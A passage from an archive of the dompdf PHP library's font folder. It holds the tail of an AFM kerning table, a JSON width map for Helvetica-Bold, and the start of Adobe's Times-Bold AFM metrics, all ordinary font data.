KPX five Aacute -36
KPX five Hbar -36
KPX five lacute -63

KPX six six -45
KPX six Gdotaccent -45
KPX six Gcommaaccent -45

KPX seven dollar -112
KPX seven seven -73
KPX seven D -196
KPX seven F -235
KPX seven H -235
KPX seven R -235
KPX seven U -149
KPX seven V -188
KPX seven X -188
KPX seven Z -225
KPX seven backslash -225
KPX seven m -149
KPX seven braceright -149
KPX seven cent -96
KPX seven sterling -196
KPX seven currency -96
KPX seven yen -96
KPX seven brokenbar -96
KPX seven section -96
KPX seven dieresis -159
KPX seven copyright -235
KPX seven ordfeminine -175
KPX seven guillemotleft -235
KPX seven logicalnot -175
KPX seven sfthyphen -175
KPX seven acute -155
KPX seven mu -235
KPX seven paragraph -155
KPX seven periodcentered -155
KPX seven cedilla -155
KPX seven ordmasculine -159
KPX seven guillemotright -158
KPX seven onequarter -188
KPX seven onehalf -158
KPX seven threequarters -158
KPX seven questiondown -225
KPX seven Aacute -225
KPX seven Eacute -235
KPX seven Idieresis -235
KPX seven Yacute -235
KPX seven ebreve -159
KPX seven edotaccent -149
KPX seven ecaron -149
KPX seven gdotaccent -188
KPX seven gcommaaccent -188
KPX seven Hbar -73
KPX seven dotlessi -188

KPX eight dollar -63

KPX nine dollar -159
KPX nine two -36
KPX nine D -188
KPX nine H -188
KPX nine L -36
KPX nine R -188
KPX nine X -131
KPX nine backslash -83
KPX nine cent -188
KPX nine sterling -188
KPX nine currency -188
KPX nine yen -188
KPX nine brokenbar -188
KPX nine section -188
KPX nine dieresis -188
KPX nine ordfeminine -188
KPX nine guillemotleft -188
KPX nine logicalnot -188
KPX nine sfthyphen -188
KPX nine acute -188
KPX nine mu -188
KPX nine paragraph -188
KPX nine periodcentered -188
KPX nine cedilla -188
KPX nine ordmasculine -188
KPX nine guillemotright -131
KPX nine onequarter -131
KPX nine onehalf -131
KPX nine threequarters -131
KPX nine questiondown -83
KPX nine Aacute -83
KPX nine Yacute -188
KPX nine Ebreve -36
KPX nine ebreve -188
KPX nine dotlessi -131

KPX colon dollar -131
KPX colon D -178
KPX colon H -167
KPX colon L -36
KPX colon R -167
KPX colon U -92
KPX colon X -83
KPX colon backslash -45
KPX colon cent -178
KPX colon sterling -178
KPX colon currency -178
KPX colon yen -178
KPX colon brokenbar -178
KPX colon section -178
KPX colon dieresis -139
KPX colon ordfeminine -167
KPX colon guillemotleft -167
KPX colon logicalnot -167
KPX colon sfthyphen -167
KPX colon acute -167
KPX colon mu -167
KPX colon paragraph -167
KPX colon periodcentered -167
KPX colon cedilla -167
KPX colon ordmasculine -167
KPX colon guillemotright -83
KPX colon onequarter -83
KPX colon onehalf -83
KPX colon threequarters -83
KPX colon questiondown -45
KPX colon Aacute -45
KPX colon Yacute -167
KPX colon ebreve -167
KPX colon edotaccent -92
KPX colon ecaron -92
KPX colon dotlessi -83

KPX semicolon dollar -73
KPX semicolon ampersand -36
KPX semicolon two -36
KPX semicolon Egrave -36
KPX semicolon Icircumflex -36
KPX semicolon Ebreve -36

KPX less dollar -131
KPX less ampersand -36
KPX less D -159
KPX less H -178
KPX less L -36
KPX less R -178
KPX less X -178
KPX less cent -159
KPX less sterling -159
KPX less currency -159
KPX less yen -159
KPX less brokenbar -159
KPX less section -159
KPX less dieresis -159
KPX less ordfeminine -178
KPX less guillemotleft -178
KPX less logicalnot -178
KPX less sfthyphen -178
KPX less acute -178
KPX less mu -178
KPX less paragraph -178
KPX less periodcentered -178
KPX less cedilla -178
KPX less ordmasculine -178
KPX less guillemotright -178
KPX less onequarter -178
KPX less onehalf -178
KPX less threequarters -178
KPX less Egrave -36
KPX less Icircumflex -36
KPX less Yacute -178
KPX less ebreve -178
KPX less dotlessi -178










KPX m hyphen -73
KPX m seven -149
KPX m Hbar -149

KPX braceright hyphen -73
KPX braceright seven -149
KPX braceright Hbar -149












KPX Acircumflex seven -112
KPX Acircumflex nine -149
KPX Acircumflex colon -102
KPX Acircumflex less -102
KPX Acircumflex I -36
KPX Acircumflex W -36
KPX Acircumflex Y -83
KPX Acircumflex Z -83
KPX Acircumflex backslash -83
KPX Acircumflex questiondown -83
KPX Acircumflex Aacute -83
KPX Acircumflex Hcircumflex -112
KPX Acircumflex hcircumflex -36
KPX Acircumflex Hbar -112
KPX Acircumflex hbar -36
KPX Acircumflex Kcommaaccent -102
KPX Acircumflex kcommaaccent -83
KPX Acircumflex kgreenlandic -102
KPX Acircumflex Lacute -83
KPX Acircumflex lacute -102
KPX Acircumflex uni01DC -112
KPX Acircumflex uni01DD -36
KPX Acircumflex uni01F4 -102
KPX Acircumflex uni01F5 -83

KPX Adieresis seven -112
KPX Adieresis nine -149
KPX Adieresis colon -102
KPX Adieresis less -102
KPX Adieresis I -36
KPX Adieresis W -36
KPX Adieresis Y -83
KPX Adieresis Z -83
KPX Adieresis backslash -83
KPX Adieresis questiondown -83
KPX Adieresis Aacute -83
KPX Adieresis Hcircumflex -112
KPX Adieresis hcircumflex -36
KPX Adieresis Hbar -112
KPX Adieresis hbar -36
KPX Adieresis Kcommaaccent -102
KPX Adieresis kcommaaccent -83
KPX Adieresis kgreenlandic -102
KPX Adieresis Lacute -83
KPX Adieresis lacute -102
KPX Adieresis uni01DC -112
KPX Adieresis uni01DD -36
KPX Adieresis uni01F4 -102
KPX Adieresis uni01F5 -83

KPX AE seven -112
KPX AE nine -149
KPX AE colon -102
KPX AE less -102
KPX AE I -36
KPX AE W -36
KPX AE Y -83
KPX AE Z -83
KPX AE backslash -83
KPX AE questiondown -83
KPX AE Aacute -83
KPX AE Hcircumflex -112
KPX AE hcircumflex -36
KPX AE Hbar -112
KPX AE hbar -36
KPX AE Kcommaaccent -102
KPX AE kcommaaccent -83
KPX AE kgreenlandic -102
KPX AE Lacute -83
KPX AE lacute -102
KPX AE uni01DC -112
KPX AE uni01DD -36
KPX AE uni01F4 -102
KPX AE uni01F5 -83





KPX Eth nine -36

KPX Ograve nine -36



KPX ucircumflex seven -167
KPX ucircumflex eight -112
KPX ucircumflex nine -243
KPX ucircumflex colon -139
KPX ucircumflex less -131
KPX ucircumflex backslash -73
KPX ucircumflex questiondown -73
KPX ucircumflex Aacute -73
KPX ucircumflex Hbar -167
KPX ucircumflex Idot -112
KPX ucircumflex lacute -131

KPX ydieresis seven -167
KPX ydieresis eight -112
KPX ydieresis nine -243
KPX ydieresis colon -139
KPX ydieresis less -131
KPX ydieresis backslash -73
KPX ydieresis questiondown -73
KPX ydieresis Aacute -73
KPX ydieresis Hbar -167
KPX ydieresis Idot -112
KPX ydieresis lacute -131

KPX Abreve O -241

KPX abreve seven -167
KPX abreve eight -112
KPX abreve nine -243
KPX abreve colon -139
KPX abreve less -131
KPX abreve backslash -73
KPX abreve questiondown -73
KPX abreve Aacute -73
KPX abreve Hbar -167
KPX abreve Idot -112
KPX abreve lacute -131



KPX Edotaccent seven -36
KPX Edotaccent nine -73
KPX Edotaccent colon -45
KPX Edotaccent less -63
KPX Edotaccent D 47
KPX Edotaccent backslash -36
KPX Edotaccent cent 47
KPX Edotaccent sterling 47
KPX Edotaccent currency 47
KPX Edotaccent yen 47
KPX Edotaccent brokenbar 47
KPX Edotaccent section 47
KPX Edotaccent dieresis 47
KPX Edotaccent ordmasculine 38
KPX Edotaccent questiondown -36
KPX Edotaccent Aacute -36
KPX Edotaccent Hbar -36
KPX Edotaccent lacute -63


KPX Ecaron seven -36
KPX Ecaron nine -73
KPX Ecaron colon -45
KPX Ecaron less -63
KPX Ecaron D 47
KPX Ecaron backslash -36
KPX Ecaron cent 47
KPX Ecaron sterling 47
KPX Ecaron currency 47
KPX Ecaron yen 47
KPX Ecaron brokenbar 47
KPX Ecaron section 47
KPX Ecaron dieresis 47
KPX Ecaron ordmasculine 38
KPX Ecaron questiondown -36
KPX Ecaron Aacute -36
KPX Ecaron Hbar -36
KPX Ecaron lacute -63


KPX Gdotaccent six -45
KPX Gdotaccent Gdotaccent -45
KPX Gdotaccent Gcommaaccent -45

KPX Gcommaaccent six -45
KPX Gcommaaccent Gdotaccent -45
KPX Gcommaaccent Gcommaaccent -45

KPX Hbar dollar -112
KPX Hbar seven -73
KPX Hbar D -196
KPX Hbar F -235
KPX Hbar H -235
KPX Hbar R -235
KPX Hbar U -149
KPX Hbar V -188
KPX Hbar X -188
KPX Hbar Z -225
KPX Hbar backslash -225
KPX Hbar m -149
KPX Hbar braceright -149
KPX Hbar cent -196
KPX Hbar sterling -196
KPX Hbar currency -196
KPX Hbar yen -196
KPX Hbar brokenbar -196
KPX Hbar section -196
KPX Hbar dieresis -159
KPX Hbar copyright -235
KPX Hbar ordfeminine -235
KPX Hbar guillemotleft -235
KPX Hbar logicalnot -235
KPX Hbar sfthyphen -235
KPX Hbar acute -235
KPX Hbar mu -235
KPX Hbar paragraph -235
KPX Hbar periodcentered -235
KPX Hbar cedilla -235
KPX Hbar ordmasculine -159
KPX Hbar guillemotright -188
KPX Hbar onequarter -188
KPX Hbar onehalf -188
KPX Hbar threequarters -188
KPX Hbar questiondown -225
KPX Hbar Aacute -225
KPX Hbar Eacute -235
KPX Hbar Idieresis -235
KPX Hbar Yacute -235
KPX Hbar ebreve -159
KPX Hbar edotaccent -149
KPX Hbar ecaron -149
KPX Hbar gdotaccent -188
KPX Hbar gcommaaccent -188
KPX Hbar Hbar -73
KPX Hbar dotlessi -188

KPX Idot dollar -63

KPX lacute dollar -131
KPX lacute ampersand -36
KPX lacute D -159
KPX lacute H -178
KPX lacute L -36
KPX lacute R -178
KPX lacute X -178
KPX lacute cent -159
KPX lacute sterling -159
KPX lacute currency -159
KPX lacute yen -159
KPX lacute brokenbar -159
KPX lacute section -159
KPX lacute dieresis -159
KPX lacute ordfeminine -178
KPX lacute guillemotleft -178
KPX lacute logicalnot -178
KPX lacute sfthyphen -178
KPX lacute acute -178
KPX lacute mu -178
KPX lacute paragraph -178
KPX lacute periodcentered -178
KPX lacute cedilla -178
KPX lacute ordmasculine -178
KPX lacute guillemotright -178
KPX lacute onequarter -178
KPX lacute onehalf -178
KPX lacute threequarters -178
KPX lacute Egrave -36
KPX lacute Icircumflex -36
KPX lacute Yacute -178
KPX lacute ebreve -178
KPX lacute dotlessi -178


KPX uni027D dollar -282
EndKernPairs
EndKernData
EndFontMetrics
vendor/dompdf/dompdf/lib/fonts/Helvetica-Bold.afm.json000066600000031111151150442770016710 0ustar00{
    "codeToName": {
        "32": "space",
        "160": "space",
        "33": "exclam",
        "34": "quotedbl",
        "35": "numbersign",
        "36": "dollar",
        "37": "percent",
        "38": "ampersand",
        "146": "quoteright",
        "40": "parenleft",
        "41": "parenright",
        "42": "asterisk",
        "43": "plus",
        "44": "comma",
        "45": "hyphen",
        "173": "hyphen",
        "46": "period",
        "47": "slash",
        "48": "zero",
        "49": "one",
        "50": "two",
        "51": "three",
        "52": "four",
        "53": "five",
        "54": "six",
        "55": "seven",
        "56": "eight",
        "57": "nine",
        "58": "colon",
        "59": "semicolon",
        "60": "less",
        "61": "equal",
        "62": "greater",
        "63": "question",
        "64": "at",
        "65": "A",
        "66": "B",
        "67": "C",
        "68": "D",
        "69": "E",
        "70": "F",
        "71": "G",
        "72": "H",
        "73": "I",
        "74": "J",
        "75": "K",
        "76": "L",
        "77": "M",
        "78": "N",
        "79": "O",
        "80": "P",
        "81": "Q",
        "82": "R",
        "83": "S",
        "84": "T",
        "85": "U",
        "86": "V",
        "87": "W",
        "88": "X",
        "89": "Y",
        "90": "Z",
        "91": "bracketleft",
        "92": "backslash",
        "93": "bracketright",
        "94": "asciicircum",
        "95": "underscore",
        "145": "quoteleft",
        "97": "a",
        "98": "b",
        "99": "c",
        "100": "d",
        "101": "e",
        "102": "f",
        "103": "g",
        "104": "h",
        "105": "i",
        "106": "j",
        "107": "k",
        "108": "l",
        "109": "m",
        "110": "n",
        "111": "o",
        "112": "p",
        "113": "q",
        "114": "r",
        "115": "s",
        "116": "t",
        "117": "u",
        "118": "v",
        "119": "w",
        "120": "x",
        "121": "y",
        "122": "z",
        "123": "braceleft",
        "124": "bar",
        "125": "braceright",
        "126": "asciitilde",
        "161": "exclamdown",
        "162": "cent",
        "163": "sterling",
        "165": "yen",
        "131": "florin",
        "167": "section",
        "164": "currency",
        "39": "quotesingle",
        "147": "quotedblleft",
        "171": "guillemotleft",
        "139": "guilsinglleft",
        "155": "guilsinglright",
        "150": "endash",
        "134": "dagger",
        "135": "daggerdbl",
        "183": "periodcentered",
        "182": "paragraph",
        "149": "bullet",
        "130": "quotesinglbase",
        "132": "quotedblbase",
        "148": "quotedblright",
        "187": "guillemotright",
        "133": "ellipsis",
        "137": "perthousand",
        "191": "questiondown",
        "96": "grave",
        "180": "acute",
        "136": "circumflex",
        "152": "tilde",
        "175": "macron",
        "168": "dieresis",
        "184": "cedilla",
        "151": "emdash",
        "198": "AE",
        "170": "ordfeminine",
        "216": "Oslash",
        "140": "OE",
        "186": "ordmasculine",
        "230": "ae",
        "248": "oslash",
        "156": "oe",
        "223": "germandbls",
        "207": "Idieresis",
        "233": "eacute",
        "159": "Ydieresis",
        "247": "divide",
        "221": "Yacute",
        "194": "Acircumflex",
        "225": "aacute",
        "219": "Ucircumflex",
        "253": "yacute",
        "234": "ecircumflex",
        "220": "Udieresis",
        "218": "Uacute",
        "203": "Edieresis",
        "169": "copyright",
        "229": "aring",
        "224": "agrave",
        "227": "atilde",
        "154": "scaron",
        "237": "iacute",
        "251": "ucircumflex",
        "226": "acircumflex",
        "231": "ccedilla",
        "222": "Thorn",
        "179": "threesuperior",
        "210": "Ograve",
        "192": "Agrave",
        "215": "multiply",
        "250": "uacute",
        "255": "ydieresis",
        "238": "icircumflex",
        "202": "Ecircumflex",
        "228": "adieresis",
        "235": "edieresis",
        "205": "Iacute",
        "177": "plusminus",
        "166": "brokenbar",
        "174": "registered",
        "200": "Egrave",
        "142": "Zcaron",
        "208": "Eth",
        "199": "Ccedilla",
        "193": "Aacute",
        "196": "Adieresis",
        "232": "egrave",
        "211": "Oacute",
        "243": "oacute",
        "239": "idieresis",
        "212": "Ocircumflex",
        "217": "Ugrave",
        "254": "thorn",
        "178": "twosuperior",
        "214": "Odieresis",
        "181": "mu",
        "236": "igrave",
        "190": "threequarters",
        "153": "trademark",
        "204": "Igrave",
        "189": "onehalf",
        "244": "ocircumflex",
        "241": "ntilde",
        "201": "Eacute",
        "188": "onequarter",
        "138": "Scaron",
        "176": "degree",
        "242": "ograve",
        "249": "ugrave",
        "209": "Ntilde",
        "245": "otilde",
        "195": "Atilde",
        "197": "Aring",
        "213": "Otilde",
        "206": "Icircumflex",
        "172": "logicalnot",
        "246": "odieresis",
        "252": "udieresis",
        "240": "eth",
        "158": "zcaron",
        "185": "onesuperior",
        "128": "Euro"
    },
    "isUnicode": false,
    "FontName": "Helvetica-Bold",
    "FullName": "Helvetica Bold",
    "FamilyName": "Helvetica",
    "Weight": "Bold",
    "ItalicAngle": "0",
    "IsFixedPitch": "false",
    "CharacterSet": "ExtendedRoman",
    "FontBBox": [
        "-170",
        "-228",
        "1003",
        "962"
    ],
    "UnderlinePosition": "-100",
    "UnderlineThickness": "50",
    "Version": "002.000",
    "EncodingScheme": "WinAnsiEncoding",
    "CapHeight": "718",
    "XHeight": "532",
    "Ascender": "718",
    "Descender": "-207",
    "StdHW": "118",
    "StdVW": "140",
    "StartCharMetrics": "317",
    "C": {
        "32": 278,
        "160": 278,
        "33": 333,
        "34": 474,
        "35": 556,
        "36": 556,
        "37": 889,
        "38": 722,
        "146": 278,
        "40": 333,
        "41": 333,
        "42": 389,
        "43": 584,
        "44": 278,
        "45": 333,
        "173": 333,
        "46": 278,
        "47": 278,
        "48": 556,
        "49": 556,
        "50": 556,
        "51": 556,
        "52": 556,
        "53": 556,
        "54": 556,
        "55": 556,
        "56": 556,
        "57": 556,
        "58": 333,
        "59": 333,
        "60": 584,
        "61": 584,
        "62": 584,
        "63": 611,
        "64": 975,
        "65": 722,
        "66": 722,
        "67": 722,
        "68": 722,
        "69": 667,
        "70": 611,
        "71": 778,
        "72": 722,
        "73": 278,
        "74": 556,
        "75": 722,
        "76": 611,
        "77": 833,
        "78": 722,
        "79": 778,
        "80": 667,
        "81": 778,
        "82": 722,
        "83": 667,
        "84": 611,
        "85": 722,
        "86": 667,
        "87": 944,
        "88": 667,
        "89": 667,
        "90": 611,
        "91": 333,
        "92": 278,
        "93": 333,
        "94": 584,
        "95": 556,
        "145": 278,
        "97": 556,
        "98": 611,
        "99": 556,
        "100": 611,
        "101": 556,
        "102": 333,
        "103": 611,
        "104": 611,
        "105": 278,
        "106": 278,
        "107": 556,
        "108": 278,
        "109": 889,
        "110": 611,
        "111": 611,
        "112": 611,
        "113": 611,
        "114": 389,
        "115": 556,
        "116": 333,
        "117": 611,
        "118": 556,
        "119": 778,
        "120": 556,
        "121": 556,
        "122": 500,
        "123": 389,
        "124": 280,
        "125": 389,
        "126": 584,
        "161": 333,
        "162": 556,
        "163": 556,
        "fraction": 167,
        "165": 556,
        "131": 556,
        "167": 556,
        "164": 556,
        "39": 238,
        "147": 500,
        "171": 556,
        "139": 333,
        "155": 333,
        "fi": 611,
        "fl": 611,
        "150": 556,
        "134": 556,
        "135": 556,
        "183": 278,
        "182": 556,
        "149": 350,
        "130": 278,
        "132": 500,
        "148": 500,
        "187": 556,
        "133": 1000,
        "137": 1000,
        "191": 611,
        "96": 333,
        "180": 333,
        "136": 333,
        "152": 333,
        "175": 333,
        "breve": 333,
        "dotaccent": 333,
        "168": 333,
        "ring": 333,
        "184": 333,
        "hungarumlaut": 333,
        "ogonek": 333,
        "caron": 333,
        "151": 1000,
        "198": 1000,
        "170": 370,
        "Lslash": 611,
        "216": 778,
        "140": 1000,
        "186": 365,
        "230": 889,
        "dotlessi": 278,
        "lslash": 278,
        "248": 611,
        "156": 944,
        "223": 611,
        "207": 278,
        "233": 556,
        "abreve": 556,
        "uhungarumlaut": 611,
        "ecaron": 556,
        "159": 667,
        "247": 584,
        "221": 667,
        "194": 722,
        "225": 556,
        "219": 722,
        "253": 556,
        "scommaaccent": 556,
        "234": 556,
        "Uring": 722,
        "220": 722,
        "aogonek": 556,
        "218": 722,
        "uogonek": 611,
        "203": 667,
        "Dcroat": 722,
        "commaaccent": 250,
        "169": 737,
        "Emacron": 667,
        "ccaron": 556,
        "229": 556,
        "Ncommaaccent": 722,
        "lacute": 278,
        "224": 556,
        "Tcommaaccent": 611,
        "Cacute": 722,
        "227": 556,
        "Edotaccent": 667,
        "154": 556,
        "scedilla": 556,
        "237": 278,
        "lozenge": 494,
        "Rcaron": 722,
        "Gcommaaccent": 778,
        "251": 611,
        "226": 556,
        "Amacron": 722,
        "rcaron": 389,
        "231": 556,
        "Zdotaccent": 611,
        "222": 667,
        "Omacron": 778,
        "Racute": 722,
        "Sacute": 667,
        "dcaron": 743,
        "Umacron": 722,
        "uring": 611,
        "179": 333,
        "210": 778,
        "192": 722,
        "Abreve": 722,
        "215": 584,
        "250": 611,
        "Tcaron": 611,
        "partialdiff": 494,
        "255": 556,
        "Nacute": 722,
        "238": 278,
        "202": 667,
        "228": 556,
        "235": 556,
        "cacute": 556,
        "nacute": 611,
        "umacron": 611,
        "Ncaron": 722,
        "205": 278,
        "177": 584,
        "166": 280,
        "174": 737,
        "Gbreve": 778,
        "Idotaccent": 278,
        "summation": 600,
        "200": 667,
        "racute": 389,
        "omacron": 611,
        "Zacute": 611,
        "142": 611,
        "greaterequal": 549,
        "208": 722,
        "199": 722,
        "lcommaaccent": 278,
        "tcaron": 389,
        "eogonek": 556,
        "Uogonek": 722,
        "193": 722,
        "196": 722,
        "232": 556,
        "zacute": 500,
        "iogonek": 278,
        "211": 778,
        "243": 611,
        "amacron": 556,
        "sacute": 556,
        "239": 278,
        "212": 778,
        "217": 722,
        "Delta": 612,
        "254": 611,
        "178": 333,
        "214": 778,
        "181": 611,
        "236": 278,
        "ohungarumlaut": 611,
        "Eogonek": 667,
        "dcroat": 611,
        "190": 834,
        "Scedilla": 667,
        "lcaron": 400,
        "Kcommaaccent": 722,
        "Lacute": 611,
        "153": 1000,
        "edotaccent": 556,
        "204": 278,
        "Imacron": 278,
        "Lcaron": 611,
        "189": 834,
        "lessequal": 549,
        "244": 611,
        "241": 611,
        "Uhungarumlaut": 722,
        "201": 667,
        "emacron": 556,
        "gbreve": 611,
        "188": 834,
        "138": 667,
        "Scommaaccent": 667,
        "Ohungarumlaut": 778,
        "176": 400,
        "242": 611,
        "Ccaron": 722,
        "249": 611,
        "radical": 549,
        "Dcaron": 722,
        "rcommaaccent": 389,
        "209": 722,
        "245": 611,
        "Rcommaaccent": 722,
        "Lcommaaccent": 611,
        "195": 722,
        "Aogonek": 722,
        "197": 722,
        "213": 778,
        "zdotaccent": 500,
        "Ecaron": 667,
        "Iogonek": 278,
        "kcommaaccent": 556,
        "minus": 584,
        "206": 278,
        "ncaron": 611,
        "tcommaaccent": 333,
        "172": 584,
        "246": 611,
        "252": 611,
        "notequal": 549,
        "gcommaaccent": 611,
        "240": 611,
        "158": 500,
        "ncommaaccent": 611,
        "185": 333,
        "imacron": 278,
        "128": 556
    },
    "CIDtoGID_Compressed": true,
    "CIDtoGID": "eJwDAAAAAAE=",
    "_version_": 6
}vendor/dompdf/dompdf/lib/fonts/Times-Bold.afm000066600000202653151150442770015130 0ustar00StartFontMetrics 4.1
Comment Copyright (c) 1985, 1987, 1989, 1990, 1993, 1997 Adobe Systems Incorporated.  All Rights Reserved.
Comment Creation Date: Thu May  1 12:52:56 1997
Comment UniqueID 43065
Comment VMusage 41636 52661
FontName Times-Bold
FullName Times Bold
FamilyName Times
Weight Bold
ItalicAngle 0
IsFixedPitch false
CharacterSet ExtendedRoman
FontBBox -168 -218 1000 935
UnderlinePosition -100
UnderlineThickness 50
Version 002.000
Notice Copyright (c) 1985, 1987, 1989, 1990, 1993, 1997 Adobe Systems Incorporated.  All Rights Reserved.Times is a trademark of Linotype-Hell AG and/or its subsidiaries.
EncodingScheme WinAnsiEncoding
CapHeight 676
XHeight 461
Ascender 683
Descender -217
StdHW 44
StdVW 139
StartCharMetrics 317
C 32 ; WX 250 ; N space ; B 0 0 0 0 ;
C 160 ; WX 250 ; N space ; B 0 0 0 0 ;
C 33 ; WX 333 ; N exclam ; B 81 -13 251 691 ;
C 34 ; WX 555 ; N quotedbl ; B 83 404 472 691 ;
C 35 ; WX 500 ; N numbersign ; B 4 0 496 700 ;
C 36 ; WX 500 ; N dollar ; B 29 -99 472 750 ;
C 37 ; WX 1000 ; N percent ; B 124 -14 877 692 ;
C 38 ; WX 833 ; N ampersand ; B 62 -16 787 691 ;
C 146 ; WX 333 ; N quoteright ; B 79 356 263 691 ;
C 40 ; WX 333 ; N parenleft ; B 46 -168 306 694 ;
C 41 ; WX 333 ; N parenright ; B 27 -168 287 694 ;
C 42 ; WX 500 ; N asterisk ; B 56 255 447 691 ;
C 43 ; WX 570 ; N plus ; B 33 0 537 506 ;
C 44 ; WX 250 ; N comma ; B 39 -180 223 155 ;
C 45 ; WX 333 ; N hyphen ; B 44 171 287 287 ;
C 173 ; WX 333 ; N hyphen ; B 44 171 287 287 ;
C 46 ; WX 250 ; N period ; B 41 -13 210 156 ;
C 47 ; WX 278 ; N slash ; B -24 -19 302 691 ;
C 48 ; WX 500 ; N zero ; B 24 -13 476 688 ;
C 49 ; WX 500 ; N one ; B 65 0 442 688 ;
C 50 ; WX 500 ; N two ; B 17 0 478 688 ;
C 51 ; WX 500 ; N three ; B 16 -14 468 688 ;
C 52 ; WX 500 ; N four ; B 19 0 475 688 ;
C 53 ; WX 500 ; N five ; B 22 -8 470 676 ;
C 54 ; WX 500 ; N six ; B 28 -13 475 688 ;
C 55 ; WX 500 ; N seven ; B 17 0 477 676 ;
C 56 ; WX 500 ; N eight ; B 28 -13 472 688 ;
C 57 ; WX 500 ; N nine ; B 26 -13 473 688 ;
C 58 ; WX 333 ; N colon ; B 82 -13 251 472 ;
C 59 ; WX 333 ; N semicolon ; B 82 -180 266 472 ;
C 60 ; WX 570 ; N less ; B 31 -8 539 514 ;
C 61 ; WX 570 ; N equal ; B 33 107 537 399 ;
C 62 ; WX 570 ; N greater ; B 31 -8 539 514 ;
C 63 ; WX 500 ; N question ; B 57 -13 445 689 ;
C 64 ; WX 930 ; N at ; B 108 -19 822 691 ;
C 65 ; WX 722 ; N A ; B 9 0 689 690 ;
C 66 ; WX 667 ; N B ; B 16 0 619 676 ;
C 67 ; WX 722 ; N C ; B 49 -19 687 691 ;
C 68 ; WX 722 ; N D ; B 14 0 690 676 ;
C 69 ; WX 667 ; N E ; B 16 0 641 676 ;
C 70 ; WX 611 ; N F ; B 16 0 583 676 ;
C 71 ; WX 778 ; N G ; B 37 -19 755 691 ;
C 72 ; WX 778 ; N H ; B 21 0 759 676 ;
C 73 ; WX 389 ; N I ; B 20 0 370 676 ;
C 74 ; WX 500 ; N J ; B 3 -96 479 676 ;
C 75 ; WX 778 ; N K ; B 30 0 769 676 ;
C 76 ; WX 667 ; N L ; B 19 0 638 676 ;
C 77 ; WX 944 ; N M ; B 14 0 921 676 ;
C 78 ; WX 722 ; N N ; B 16 -18 701 676 ;
C 79 ; WX 778 ; N O ; B 35 -19 743 691 ;
C 80 ; WX 611 ; N P ; B 16 0 600 676 ;
C 81 ; WX 778 ; N Q ; B 35 -176 743 691 ;
C 82 ; WX 722 ; N R ; B 26 0 715 676 ;
C 83 ; WX 556 ; N S ; B 35 -19 513 692 ;
C 84 ; WX 667 ; N T ; B 31 0 636 676 ;
C 85 ; WX 722 ; N U ; B 16 -19 701 676 ;
C 86 ; WX 722 ; N V ; B 16 -18 701 676 ;
C 87 ; WX 1000 ; N W ; B 19 -15 981 676 ;
C 88 ; WX 722 ; N X ; B 16 0 699 676 ;
C 89 ; WX 722 ; N Y ; B 15 0 699 676 ;
C 90 ; WX 667 ; N Z ; B 28 0 634 676 ;
C 91 ; WX 333 ; N bracketleft ; B 67 -149 301 678 ;
C 92 ; WX 278 ; N backslash ; B -25 -19 303 691 ;
C 93 ; WX 333 ; N bracketright ; B 32 -149 266 678 ;
C 94 ; WX 581 ; N asciicircum ; B 73 311 509 676 ;
C 95 ; WX 500 ; N underscore ; B 0 -125 500 -75 ;
C 145 ; WX 333 ; N quoteleft ; B 70 356 254 691 ;
C 97 ; WX 500 ; N a ; B 25 -14 488 473 ;
C 98 ; WX 556 ; N b ; B 17 -14 521 676 ;
C 99 ; WX 444 ; N c ; B 25 -14 430 473 ;
C 100 ; WX 556 ; N d ; B 25 -14 534 676 ;
C 101 ; WX 444 ; N e ; B 25 -14 426 473 ;
C 102 ; WX 333 ; N f ; B 14 0 389 691 ; L i fi ; L l fl ;
C 103 ; WX 500 ; N g ; B 28 -206 483 473 ;
C 104 ; WX 556 ; N h ; B 16 0 534 676 ;
C 105 ; WX 278 ; N i ; B 16 0 255 691 ;
C 106 ; WX 333 ; N j ; B -57 -203 263 691 ;
C 107 ; WX 556 ; N k ; B 22 0 543 676 ;
C 108 ; WX 278 ; N l ; B 16 0 255 676 ;
C 109 ; WX 833 ; N m ; B 16 0 814 473 ;
C 110 ; WX 556 ; N n ; B 21 0 539 473 ;
C 111 ; WX 500 ; N o ; B 25 -14 476 473 ;
C 112 ; WX 556 ; N p ; B 19 -205 524 473 ;
C 113 ; WX 556 ; N q ; B 34 -205 536 473 ;
C 114 ; WX 444 ; N r ; B 29 0 434 473 ;
C 115 ; WX 389 ; N s ; B 25 -14 361 473 ;
C 116 ; WX 333 ; N t ; B 20 -12 332 630 ;
C 117 ; WX 556 ; N u ; B 16 -14 537 461 ;
C 118 ; WX 500 ; N v ; B 21 -14 485 461 ;
C 119 ; WX 722 ; N w ; B 23 -14 707 461 ;
C 120 ; WX 500 ; N x ; B 12 0 484 461 ;
C 121 ; WX 500 ; N y ; B 16 -205 480 461 ;
C 122 ; WX 444 ; N z ; B 21 0 420 461 ;
C 123 ; WX 394 ; N braceleft ; B 22 -175 340 698 ;
C 124 ; WX 220 ; N bar ; B 66 -218 154 782 ;
C 125 ; WX 394 ; N braceright ; B 54 -175 372 698 ;
C 126 ; WX 520 ; N asciitilde ; B 29 173 491 333 ;
C 161 ; WX 333 ; N exclamdown ; B 82 -203 252 501 ;
C 162 ; WX 500 ; N cent ; B 53 -140 458 588 ;
C 163 ; WX 500 ; N sterling ; B 21 -14 477 684 ;
C -1 ; WX 167 ; N fraction ; B -168 -12 329 688 ;
C 165 ; WX 500 ; N yen ; B -64 0 547 676 ;
C 131 ; WX 500 ; N florin ; B 0 -155 498 706 ;
C 167 ; WX 500 ; N section ; B 57 -132 443 691 ;
C 164 ; WX 500 ; N currency ; B -26 61 526 613 ;
C 39 ; WX 278 ; N quotesingle ; B 75 404 204 691 ;
C 147 ; WX 500 ; N quotedblleft ; B 32 356 486 691 ;
C 171 ; WX 500 ; N guillemotleft ; B 23 36 473 415 ;
C 139 ; WX 333 ; N guilsinglleft ; B 51 36 305 415 ;
C 155 ; WX 333 ; N guilsinglright ; B 28 36 282 415 ;
C -1 ; WX 556 ; N fi ; B 14 0 536 691 ;
C -1 ; WX 556 ; N fl ; B 14 0 536 691 ;
C 150 ; WX 500 ; N endash ; B 0 181 500 271 ;
C 134 ; WX 500 ; N dagger ; B 47 -134 453 691 ;
C 135 ; WX 500 ; N daggerdbl ; B 45 -132 456 691 ;
C 183 ; WX 250 ; N periodcentered ; B 41 248 210 417 ;
C 182 ; WX 540 ; N paragraph ; B 0 -186 519 676 ;
C 149 ; WX 350 ; N bullet ; B 35 198 315 478 ;
C 130 ; WX 333 ; N quotesinglbase ; B 79 -180 263 155 ;
C 132 ; WX 500 ; N quotedblbase ; B 14 -180 468 155 ;
C 148 ; WX 500 ; N quotedblright ; B 14 356 468 691 ;
